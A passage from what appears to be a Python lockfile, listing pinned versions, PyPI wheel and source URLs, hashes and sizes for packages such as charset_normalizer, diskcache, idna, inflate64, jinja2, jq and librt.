{ url = "https://files.pythonhosted.org/packages/7e/84/371eac6b30bdbcbf2d632a1a01809103459216fcaae61b8b8d922c1bfb8a/charset_normalizer-3.5.2-cp37-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1c50fe28bbc2ced33386f298650d91218076c05420e6cbd790b913adc41659e7", size = 253276, upload-time = "2026-09-30T04:38:28.032Z" },
{ url = "https://files.pythonhosted.org/packages/43/6f/c4fbae58febff71709c51bc7e18fdfa55341dc382704740f9f0cbf03817b/charset_normalizer-3.5.2-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d19fbd981a488e22cd04883659ca6b08f50b5974f9fd7c95655ef6a043e5893f", size = 241239, upload-time = "2026-09-30T04:38:29.732Z" },
{ url = "https://files.pythonhosted.org/packages/61/71/458c3f42164a07d0c5210798e9e704b39e540a6793b05aba67f3a35243a9/charset_normalizer-3.5.2-cp37-abi3-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0fed1d06615f022ee3b13caf5e8b180cfea32bb2c5aded8a9d44277afc040f93", size = 231121, upload-time = "2026-09-30T04:38:31.462Z" },
{ url = "https://files.pythonhosted.org/packages/09/54/ab9e89367076f6331bb6c65c4bf14a5361fa5191cb6561bf534f18504e1b/charset_normalizer-3.5.2-cp37-abi3-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:838dcc90063569a0448120554591a1d6c4a4ffe11babf048908793154ab86ade", size = 260350, upload-time = "2026-09-30T04:38:33.239Z" },
{ url = "https://files.pythonhosted.org/packages/7c/c1/061431ecc688d9d76602502cb57cc01e691e682c18f1beb45f9673b5bbd2/charset_normalizer-3.5.2-cp37-abi3-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2ce45c6627b22c47e390bc91a41c3d13032192e699fa0bea96e9671b373d69b0", size = 255430, upload-time = "2026-09-30T04:38:34.865Z" },
{ url = "https://files.pythonhosted.org/packages/8d/1f/20c8949f0676f7ab811abdeb7f4d7f1cbc6e61ff20bef08b44edeb092bc8/charset_normalizer-3.5.2-cp37-abi3-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0774bf9bf620249fee3e0b8b9fd3065de213be30f3aa94ce2494b3b638949e26", size = 250612, upload-time = "2026-09-30T04:38:36.649Z" },
{ url = "https://files.pythonhosted.org/packages/2b/9e/46f2fa4c431fc98c4ae76a8cb5bdca54e0341e3cfc3fcfd8e82740250818/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:1db38f4c5496827c1a501846d64d14c3b80c7e6714e406cd7dc36a9899fa1011", size = 242083, upload-time = "2026-09-30T04:38:38.26Z" },
{ url = "https://files.pythonhosted.org/packages/bd/39/559be29a0c0f086e0bba6922babd38916cc5e0b58ced4de13ee01ea05508/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:304d8e4d493af723536393eee0c689eb7813f4a474c8b479dee63f1fdd98f621", size = 232738, upload-time = "2026-09-30T04:38:39.81Z" },
{ url = "https://files.pythonhosted.org/packages/ff/6c/387b0e4f756a282831c1d9fc6aeb6c51ca4507ca202767c8de15ce9b12e2/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_ppc64le.whl", hash = "sha256:9b7f416ff0978e2f2249330527f0ad6fa02f4932e6199692d3b52da2048c19e4", size = 260703, upload-time = "2026-09-30T04:38:41.346Z" },
{ url = "https://files.pythonhosted.org/packages/96/92/1fdf015f09ef449f50d3ac4b67c90887c9c318b727daa95cc4f866e6521d/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_riscv64.whl", hash = "sha256:01077390b03f7988f11d700a2194e69b119741a86b1a638b1db88891e3eced8e", size = 247622, upload-time = "2026-09-30T04:38:42.937Z" },
{ url = "https://files.pythonhosted.org/packages/dc/3c/8e7b8a5671ad5d433669fb2a76f1a0164df2d9b1718b0206bc2a16d840cc/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_s390x.whl", hash = "sha256:7e841fb9010836c992c9f12fcbd43a831de93a5f726fc1ccd8ca1d0268c5014c", size = 257500, upload-time = "2026-09-30T04:38:44.604Z" },
{ url = "https://files.pythonhosted.org/packages/b4/f0/45b579df5cabc1d5d53ea1cc35e8437d3ca768c0acccc7041517cb6fbb32/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9cae88599c7219005d879f98e5ed53341e9a122af585e1091200358a3003d2a0", size = 255100, upload-time = "2026-09-30T04:38:46.289Z" },
{ url = "https://files.pythonhosted.org/packages/31/68/fdec18a343f5fb3f310588dd478b09ac4799e0b187dbade3a8cd776f03ef/charset_normalizer-3.5.2-cp37-abi3-win32.whl", hash = "sha256:01b0c0d2262a9e28e8484a278c7e1b5d650e3ac8cf2683d2967e25899f208bdf", size = 174499, upload-time = "2026-09-30T04:38:47.999Z" },
{ url = "https://files.pythonhosted.org/packages/9d/8a/b618149cc5207943a0242068d7a27897f56a62947b5a039085f2a22029f8/charset_normalizer-3.5.2-cp37-abi3-win_amd64.whl", hash = "sha256:9f56f72050826f63dcee7a7f55b0a77168cb3bfc553fd405e7f8f9ece75a4036", size = 200092, upload-time = "2026-09-30T04:38:49.707Z" },
{ url = "https://files.pythonhosted.org/packages/03/cf/4c66866fa9e2b1c78e3c911516d1de497a677b7ac60f1eceda74ce777ca3/charset_normalizer-3.5.2-cp37-abi3-win_arm64.whl", hash = "sha256:40ab6bffa02ae10a0581e6c198be7d2d8ca5c2a0c64e4ed3465d766df457573e", size = 294363, upload-time = "2026-09-30T04:38:51.312Z" },
{ url = "https://files.pythonhosted.org/packages/fc/ad/d07d7862a62ffa6d79d68074d14823243dd235a77c45262acbf6adeb28bf/charset_normalizer-3.5.2-py3-none-any.whl", hash = "sha256:b6b751274acb69d77b3323d6b7dbaa3c7fdfc1eb829b7eb61d262f32e1af9685", size = 68872, upload-time = "2026-09-30T04:39:21.828Z" },
]
[[package]]
name = "diskcache"
version = "5.6.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/3f/21/1c1ffc1a039ddcc459db43cc108658f32c57d271d7289a2794e401d0fdb6/diskcache-5.6.3.tar.gz", hash = "sha256:2c3a3fa2743d8535d832ec61c2054a1641f41775aa7c556758a109941e33e4fc", size = 67916, upload-time = "2023-08-31T06:12:00.316Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/3f/27/4570e78fc0bf5ea0ca45eb1de3818a23787af9b390c0b0a0033a1b8236f9/diskcache-5.6.3-py3-none-any.whl", hash = "sha256:5e31b2d5fbad117cc363ebaf6b689474db18a1f6438bc82358b024abd4c2ca19", size = 45550, upload-time = "2023-08-31T06:11:58.822Z" },
]
[[package]]
name = "diskcache-stubs"
version = "5.6.3.6.20240818"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "typing-extensions" },
]
sdist = { url = "https://files.pythonhosted.org/packages/cb/d6/b741a916707520349a3853a3f436aaf5df6e06a2c1499636072b1b3ce45d/diskcache_stubs-5.6.3.6.20240818.tar.gz", hash = "sha256:b6eb43899e906b3167a20ac09a9a226f30267a306a96542ea720ebbfc3282796", size = 13524, upload-time = "2024-08-18T07:50:11.943Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/6d/76/288d91c284ac1787f01c8260af5ea89dcfa6c0abc9acd601d01cf6f72f86/diskcache_stubs-5.6.3.6.20240818-py3-none-any.whl", hash = "sha256:e1db90940b344140730976abe79f57f5b43ca296cbb43fa95da0c69b12d5de4f", size = 18391, upload-time = "2024-08-18T07:50:10.723Z" },
]
[[package]]
name = "idna"
version = "3.20"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/f5/08/8eea9d4b8302028f3abb2c0813953f7aec26d33b7a8960ed760e65ff29fa/idna-3.20.tar.gz", hash = "sha256:a7db850025b95ded1eae8a46181a1a6c56c92c96f0e2b005d9ff8dc0210cab44", size = 216463, upload-time = "2026-09-17T14:11:04.752Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/58/a2/bb081bab032533a855d44de1d56f8e8426114ff1ba5d1f07a438a0a654f8/idna-3.20-py3-none-any.whl", hash = "sha256:ab7ae7122974553370f0bdb919e1a960b2cd1bc1ef0276416d896db81c14582c", size = 69583, upload-time = "2026-09-17T14:11:03.168Z" },
]
[[package]]
name = "inflate64"
version = "1.0.4"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/3e/f3/41bb2901543abe7aad0b0b0284ae5854bb75f848cf406bf8a046bf525f67/inflate64-1.0.4.tar.gz", hash = "sha256:b398c686960c029777afc0ed281a86f66adb956cfc3fbf6667cc6453f7b407ce", size = 902542, upload-time = "2025-11-28T10:55:52.641Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/5b/fb/ec9d10f44f2fc7666ad5d70acae2b8a1941e8e08ccae1fad0820f7796be3/inflate64-1.0.4-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:4f61925b2d4248eac2ebb15350a80aaa0d1f7f1dc770bd5ebbbb3b0db4a6a416", size = 58727, upload-time = "2025-11-28T10:55:13.834Z" },
{ url = "https://files.pythonhosted.org/packages/81/80/24ba0d2ee14e07e275e9c5b058e59a8a58f8ef42dd51a78ebbfd7c857ac4/inflate64-1.0.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c1acf18b08b32981a4a11ec5a112b8ad5d7c7a5b15cb5bdbdb5b19201e9aa180", size = 35945, upload-time = "2025-11-28T10:55:15.225Z" },
{ url = "https://files.pythonhosted.org/packages/70/b8/073a79716e093db973b8823bdfb02e10fbdf65642dbe1fa3cda24832aeb2/inflate64-1.0.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:abddae8920b2eaef824254e14b8d4ff54afbe6194a1bbe9816584859f0c1244d", size = 36060, upload-time = "2025-11-28T10:55:16.261Z" },
{ url = "https://files.pythonhosted.org/packages/4c/f0/87d3c317ed0acd94f5e9b3b1b9e9000228ea2af0cb4618c62cbfc816da34/inflate64-1.0.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b303132cc562a906543a56f35c4e164e3880da6ff041cb4a7b1df9f9d2b4bb69", size = 98995, upload-time = "2025-11-28T10:55:17.405Z" },
{ url = "https://files.pythonhosted.org/packages/90/72/0b6035302e9c33f004240a50cb6e2e1fc7bb1f2b415b02d939c551bdd06b/inflate64-1.0.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f0993214dea0738c557fa56c13cd9083aef0097a201d726c21984ad7f577514", size = 100781, upload-time = "2025-11-28T10:55:18.597Z" },
{ url = "https://files.pythonhosted.org/packages/2b/05/5f383c615ec0f01bcbbc699a71da167623e494083ab7ed0df86b4bddf125/inflate64-1.0.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a6baedc3288d7a4ff588951d3a9a97a5391dceed6255ff5b16e42cae7274bfa9", size = 97038, upload-time = "2025-11-28T10:55:20.156Z" },
{ url = "https://files.pythonhosted.org/packages/4e/9a/c1482718c717c49c67490c42b4fdced9476e894eaebd52193e488c12e188/inflate64-1.0.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a846ce1f38845b20bef2625af1b512be83416d97824539524c5a34e7a729aec7", size = 100016, upload-time = "2025-11-28T10:55:21.337Z" },
{ url = "https://files.pythonhosted.org/packages/b8/7f/700ede7474e72a1c0e2e8fe36624cd0225ca8b2875eca33d64aa2de75f4d/inflate64-1.0.4-cp314-cp314-win32.whl", hash = "sha256:eef87908c780439393d577a155868317f0a275b47b417db9f47d8633ec791745", size = 33691, upload-time = "2025-11-28T10:55:22.515Z" },
{ url = "https://files.pythonhosted.org/packages/dd/51/f2972df8cceecc9bf3afa3353d517ffc7125285198c844588e9aaf98f5d0/inflate64-1.0.4-cp314-cp314-win_amd64.whl", hash = "sha256:fb2fdd63ef3933b67af98b3f2ee2f57e7787278041d7ba4821382fedd729b68a", size = 36304, upload-time = "2025-11-28T10:55:24.005Z" },
{ url = "https://files.pythonhosted.org/packages/29/77/16200aced67215119fb30ec9a5889b48289ee2fa5ce5137623a9ad41b2c4/inflate64-1.0.4-cp314-cp314-win_arm64.whl", hash = "sha256:2e129669a0243ac7816fd526946ee01c25688fe81623a6d6bc95b3156d80f4fb", size = 34491, upload-time = "2025-11-28T10:55:25.068Z" },
{ url = "https://files.pythonhosted.org/packages/c0/79/b466ec7666c40912ea81a305a8a2b75f5998e6cec1d3d75e067d76203731/inflate64-1.0.4-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:b17bf665d948dc4edeea0cd17752415d0cd7240c882b9c7e136ad4cc4321e9d4", size = 59300, upload-time = "2025-11-28T10:55:26.185Z" },
{ url = "https://files.pythonhosted.org/packages/c9/ad/16e1168ac80f39894e6cb18b439eec63fec42cbced239aebfe12081b6ec7/inflate64-1.0.4-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:6751758301936fbb38fa38eb5312e14e27b6a1abf568f83c17557fab2694373d", size = 36258, upload-time = "2025-11-28T10:55:27.295Z" },
{ url = "https://files.pythonhosted.org/packages/25/42/c463b42fd8a7947b4445fbaf57c265bb7f3114362fb7aee6884ffd8b5341/inflate64-1.0.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:d6a4136752aa2a544301059d8f13780aeb88c34d60770258436a87dacd3fc304", size = 36296, upload-time = "2025-11-28T10:55:28.632Z" },
{ url = "https://files.pythonhosted.org/packages/39/f1/cf6121926e405020e9e7bccb78ec7781fbc87500ec67368e7d9e866758be/inflate64-1.0.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:938ebc6b28578bfd365d1a9fdb18b7faab08321babeb2198e8025d07d8dc7fb5", size = 106788, upload-time = "2025-11-28T10:55:29.797Z" },
{ url = "https://files.pythonhosted.org/packages/9c/dd/b653f9962497cf4d3520d69272894c37fd76f86a0e04bb3bd9f32827dc2f/inflate64-1.0.4-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:61f51f80fa6f367288343c1a2cd20a42af454883087064e9274fd2a8c3a5a200", size = 107959, upload-time = "2025-11-28T10:55:31.306Z" },
{ url = "https://files.pythonhosted.org/packages/60/ae/65d88109b63611c9b6c29008201107127cf2603d186ab99beec39d85f38e/inflate64-1.0.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:172b51da7bbfa66b33f0a5405e944807b9949e92cf4cd9f983c07af8152766df", size = 104213, upload-time = "2025-11-28T10:55:32.506Z" },
{ url = "https://files.pythonhosted.org/packages/f9/94/c17de2f55b9fb1269bca4657f9089efe4ba0f3d4b652f07b34dfc69f69a2/inflate64-1.0.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:8ca9a2985afd5a14fb48cd126a67e5944ccb7a0a6bdec58c4f796c8c88a84539", size = 106629, upload-time = "2025-11-28T10:55:33.735Z" },
{ url = "https://files.pythonhosted.org/packages/8e/30/8bbc587bb2ad09ab7edf1f9215b2c5faf4fa7ee7c071daefe9ed55e28814/inflate64-1.0.4-cp314-cp314t-win32.whl", hash = "sha256:f8964ceaabea294bc20abc9ef408c6aae978a75c25c83168a76cd87a37c38938", size = 33865, upload-time = "2025-11-28T10:55:35.335Z" },
{ url = "https://files.pythonhosted.org/packages/91/87/8bf6f412f93c8b6dc14866a021b83321331fbdd17f6ab902a24dbf88773d/inflate64-1.0.4-cp314-cp314t-win_amd64.whl", hash = "sha256:7d13b04cba65c12d21e65eaa77da9484e265e8e821b26e0761d1455ad3a878d9", size = 36943, upload-time = "2025-11-28T10:55:36.983Z" },
{ url = "https://files.pythonhosted.org/packages/7d/85/33447bb3c4e3c0ae7b1fde3aadc52a18b2b0193cfcf4f585977e924c6463/inflate64-1.0.4-cp314-cp314t-win_arm64.whl", hash = "sha256:9ae3ee727235a06dc3cd353ee5761fdd8e3b56ad119c711f61680528972a6ced", size = 34846, upload-time = "2025-11-28T10:55:38.433Z" },
]
[[package]]
name = "jinja2"
version = "3.1.6"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "markupsafe" },
]
sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" },
]
[[package]]
name = "jq"
version = "1.12.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/95/ec/3da01457bbd3c6a2fc8fea6736c0b657ffc628e3decbfb1fafcf33dc7dbe/jq-1.12.0.tar.gz", hash = "sha256:729b2d3418c8ca7dccfaa66b9fb7a98bec28474212650d27c5c04358ce26f55c", size = 1965902, upload-time = "2026-07-10T12:36:39.214Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d8/4d/e7599083ceea8bfcc129d446b18f593d80021eff30fdb54eda4d4f0c9372/jq-1.12.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:2209588dc6acd473cac7e017c546ecb636851ad231e35fb7cd45415e503192e4", size = 416070, upload-time = "2026-07-10T12:35:44.808Z" },
{ url = "https://files.pythonhosted.org/packages/89/66/5a93431781558c7a0d947b24a473db146ca0c482f467b78091c0d584eb77/jq-1.12.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:406cc8a9e94ee6ea83ea5b95e41a7cd5ed9d2038d50fe3a8beed4e11f8a8b661", size = 425176, upload-time = "2026-07-10T12:35:46.41Z" },
{ url = "https://files.pythonhosted.org/packages/9c/bc/a77610a09c99d6ade3e054425332727c120b0a9a933431b5cf541a35a0b2/jq-1.12.0-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ca19b0a295d35f9c2cc9b626961c04ab8af32e6f66b65e8bb0d0bb94d935d809", size = 748519, upload-time = "2026-07-10T12:35:47.848Z" },
{ url = "https://files.pythonhosted.org/packages/20/52/c3303aa411292160e7892e6572b89bd3a20fe65d780d005f7c92ca4ce630/jq-1.12.0-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4ba6d3d2632fe2c53f55cefe6b20a766a844c79a51744ecf27df1876d8b8f3f0", size = 762490, upload-time = "2026-07-10T12:35:49.558Z" },
{ url = "https://files.pythonhosted.org/packages/7f/cf/9322be5fd98de3d506623153025cd67788eede0227ef64bff19f75d010ba/jq-1.12.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4034a13ad245319ad13086e19f07a864b4d5b306efb3f9874c705b05d930541c", size = 737070, upload-time = "2026-07-10T12:35:51.268Z" },
{ url = "https://files.pythonhosted.org/packages/e7/b4/73b4b49491a6bbb12c6db83d951dfb9477f893df3785e11e65c625e474cf/jq-1.12.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:0acceed1ea0d4c445d2f0fdb5f1e4c41b9897e29e3044ef14eb0387445552e37", size = 756482, upload-time = "2026-07-10T12:35:52.679Z" },
{ url = "https://files.pythonhosted.org/packages/b6/12/ed1384d55e80c01dd76d45b7fb2cd926753a75edf3156b223d7f356b214c/jq-1.12.0-cp314-cp314-win_amd64.whl", hash = "sha256:97ca6233eacc643927aa629c44d358bcf265a923637754196c37dc4e0268ba6b", size = 431151, upload-time = "2026-07-10T12:36:07.479Z" },
{ url = "https://files.pythonhosted.org/packages/5c/2e/fb9f3c34fea83b0202b059e2704df10dc8198077d7491f709cfb11f97937/jq-1.12.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:840fcc9805a6ac1df7aa221fadb43e8702105e0c47dbb30e791d5a3aa731f810", size = 419585, upload-time = "2026-07-10T12:35:54.311Z" },
{ url = "https://files.pythonhosted.org/packages/70/cd/ab3be753214d40ba4ecea7039948bb800e16cf2d31bfdfe519ca8cc0d484/jq-1.12.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:02112ca560f90c6b1ea31829bb7777fbc5b1f1d13f78b2c6ce5cefa8233cee7e", size = 431464, upload-time = "2026-07-10T12:35:56.356Z" },
{ url = "https://files.pythonhosted.org/packages/f6/db/23369956e8521233482fb818146415e40b980b3b24cc50a04c507b712c26/jq-1.12.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97eb829997e96d079190729df23e6763b86cdbf260c8ceb0b3e0828996a66731", size = 780015, upload-time = "2026-07-10T12:35:58.048Z" },
{ url = "https://files.pythonhosted.org/packages/24/3e/9d46758527dd5d27098fd27bd50a040e40e0b2c19cce3fc4fa96ac8e75f5/jq-1.12.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:60077506b0e5a68a821dcc237564adbf65b3f50d146b166e844d4a150f069222", size = 776275, upload-time = "2026-07-10T12:35:59.855Z" },
{ url = "https://files.pythonhosted.org/packages/c3/e4/f645c4dc5042f0de7473665d510040d702c079e3a40f9227d04e478d9c16/jq-1.12.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:1dff708ccf14b425b733bf2b94398d95d2c697ace7678cf4e332fafb78e037f8", size = 759497, upload-time = "2026-07-10T12:36:01.572Z" },
{ url = "https://files.pythonhosted.org/packages/f0/95/31ace4332bd17ee6a96f0b8323d7a24dd2164d1663049b78f8d2465e7281/jq-1.12.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7cf775589ad923609c3833668880712da44bf01d06508622aef6c47b67c05f98", size = 767868, upload-time = "2026-07-10T12:36:03.34Z" },
{ url = "https://files.pythonhosted.org/packages/2e/55/925c4df48f6e1a06cebe64007b98dc0bbdca227f22100279b1031aa928ff/jq-1.12.0-cp314-cp314t-win_amd64.whl", hash = "sha256:de7aa00e1328fc3838dcccb9633035a7ea5fc7f716215941c517fead55f94695", size = 432114, upload-time = "2026-07-10T12:36:05.675Z" },
]
[[package]]
name = "librt"
version = "0.16.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/04/f5/9dc696772d241814bacac7880bac32f2930b5a6ebc1f85317b83161a011c/librt-0.16.0.tar.gz", hash = "sha256:ac38d6d8d66bf3d744148dbbc0b8e193e195a51e364ed55e224631f5721891fc", size = 219839, upload-time = "2026-09-29T00:55:32.891Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/1e/93/9e0cf7da129a93c3dc7f45bc3cd4a660f2aaa995aa8a6f95c2583ef41239/librt-0.16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:931a0bb0fcac88f263e269e46eb30ba8e21402cd3c62ca40cb97034c0693fab1", size = 149844, upload-time = "2026-09-29T00:53:31.391Z" },
{ url = "https://files.pythonhosted.org/packages/8f/26/8a90d2a8f2b2e471bb486b7aec117b8ae622715ed6c39853aec48ea20073/librt-0.16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1bc17e54e5305f8d40b7ca203671ff5a9e59c1d0f8ea0f625dcca53a3984de11", size = 154111, upload-time = "2026-09-29T00:53:32.718Z" },
{ url = "https://files.pythonhosted.org/packages/35/ce/67abb46258da4d3e42ff5b141db6f38c59357bef84c7979f183b22f924f1/librt-0.16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:877698bf6bca5721d8be345f2fe09778e40ecadea8b58c73075f2b1a53666bf2", size = 494234, upload-time = "2026-09-29T00:53:34.466Z" },
{ url = "https://files.pythonhosted.org/packages/12/f9/ea7162414a16f8f1bbd3b493ad6d22b926c5471916e078350bdbca8c4e5f/librt-0.16.0-cp314-cp314-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:5981c011b306781ce561e18e14230a14524a3d8109b97553666c942c18f31a96", size = 491173, upload-time = "2026-09-29T00:53:36.124Z" },
{ url = "https://files.pythonhosted.org/packages/b1/09/9b3e869060dd33f9989b80ba4fea306f6db8cecefcdfe6d7346ef0603f65/librt-0.16.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:afced3dfc17cd805ecf7a3d77996a71cf5f2c75aa66eb0c21a9930f4fc992f86", size = 505547, upload-time = "2026-09-29T00:53:37.686Z" },
{ url = "https://files.pythonhosted.org/packages/50/07/79007d2165f649ea93e08c0962d1d62c70af9cde77965255095bf9d96f9a/librt-0.16.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ca8052401c55d7511dda6760719fda7618067e83535d7d0010096d216c34b667", size = 523057, upload-time = "2026-09-29T00:53:39.301Z" },
{ url = "https://files.pythonhosted.org/packages/61/0c/8fbaff66d0ba376d8864653f5acce1569bae27e89648671f26f7eca67ab8/librt-0.16.0-cp314-cp314-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1e511762a074005bb0aa569166779834e75e438370226930d0ce1866d4b6a33b", size = 515158, upload-time = "2026-09-29T00:53:41.012Z" },
{ url = "https://files.pythonhosted.org/packages/df/2e/23ff0dece76f07a4124413a57682efa0bbeb5765ac0122bc0955513f82ca/librt-0.16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f1e8591bd8a5a628cd7f07954c6a1592359a878bf032957a8e9057a41d644311", size = 534183, upload-time = "2026-09-29T00:53:42.451Z" },
{ url = "https://files.pythonhosted.org/packages/26/c4/e11dea21d9a29486eba78887380374189d472734fa32cc50cb37ca44d3d0/librt-0.16.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4aaefb4ba6c07e1aeebb2795c8958148f1d6f9af3b555b53d23d766edb6d67a", size = 540663, upload-time = "2026-09-29T00:53:44.272Z" },
{ url = "https://files.pythonhosted.org/packages/44/75/e873ae158a8b7f5359be33e7fd6c1fbe02d9a78a3e89a77de6b0e837f476/librt-0.16.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:d92db7a0f6aee44f1baee94750457e8d2d1c6ccea41842de6268d34e8dc7eddd", size = 545908, upload-time = "2026-09-29T00:53:45.812Z" },
{ url = "https://files.pythonhosted.org/packages/ba/36/8939d3f6a93e11bd9592e6fe28d2b44f1c2dc4bed6e22e72359a91e18ffb/librt-0.16.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:378dfaffb38e59c24a87cde5713cd865d51ff7383fa12947f3907f306ea1ca55", size = 523302, upload-time = "2026-09-29T00:53:47.596Z" },
{ url = "https://files.pythonhosted.org/packages/71/14/35309f44a077f0f42ade0e2e7cd88c0cea760c661af205c01ea90d3c0e1f/librt-0.16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3e0c39bdc85370422e8b637be76eb1fd07d30967551b03e62267dd156f553152", size = 565911, upload-time = "2026-09-29T00:53:49.278Z" },
{ url = "https://files.pythonhosted.org/packages/78/0c/df6255b94967f3159ebc46f08d8e783c12da6ee269ddb74b2efed63c640c/librt-0.16.0-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:1b384b90ab79a7bc30b566895809a636e0666f21f3cf12b54823d025b7e83839", size = 79119, upload-time = "2026-09-29T00:53:50.938Z" },
{ url = "https://files.pythonhosted.org/packages/6b/44/d30d5a5461378c9d33f36736c6791c3b4c4ba4b1ffe0da7350aedcb2c9a0/librt-0.16.0-cp314-cp314-win32.whl", hash = "sha256:52327da75a94012e7f932f913d20d3876bed3c102be00e6c3e8600ff7bdd58a7", size = 100140, upload-time = "2026-09-29T00:53:52.205Z" },
{ url = "https://files.pythonhosted.org/packages/c2/98/769712f356a1e897df3581bb0c3100375d054a000de26099360ea65b5111/librt-0.16.0-cp314-cp314-win_amd64.whl", hash = "sha256:3f0b8114c44b2ac06ff5dacd08e07e8e807ff4f46083f2a1602685122559be41", size = 120464, upload-time = "2026-09-29T00:53:53.495Z" },
{ url = "https://files.pythonhosted.org/packages/bf/d3/ae2abccc8bdc8b063c1613a77686e17b74e9d3d60cfe6f12c63fa2821b9f/librt-0.16.0-cp314-cp314-win_arm64.whl", hash = "sha256:8caf96a4ef8fb27d0ac0d1ad8337d26a240acd4a02fe4345d0a8f264753e8f99", size = 110889, upload-time = "2026-09-29T00:53:54.817Z" },
{ url = "https://files.pythonhosted.org/packages/e4/26/0737d4be058dd6376eade7dd8b380d4b869b6394cee929393a5a431c45bb/librt-0.16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:953107e2f68d0f3512c48f898b0dbf0ce5cc52bba0f318d847c985dc555ee4cc", size = 159838, upload-time = "2026-09-29T00:53:56.22Z" },
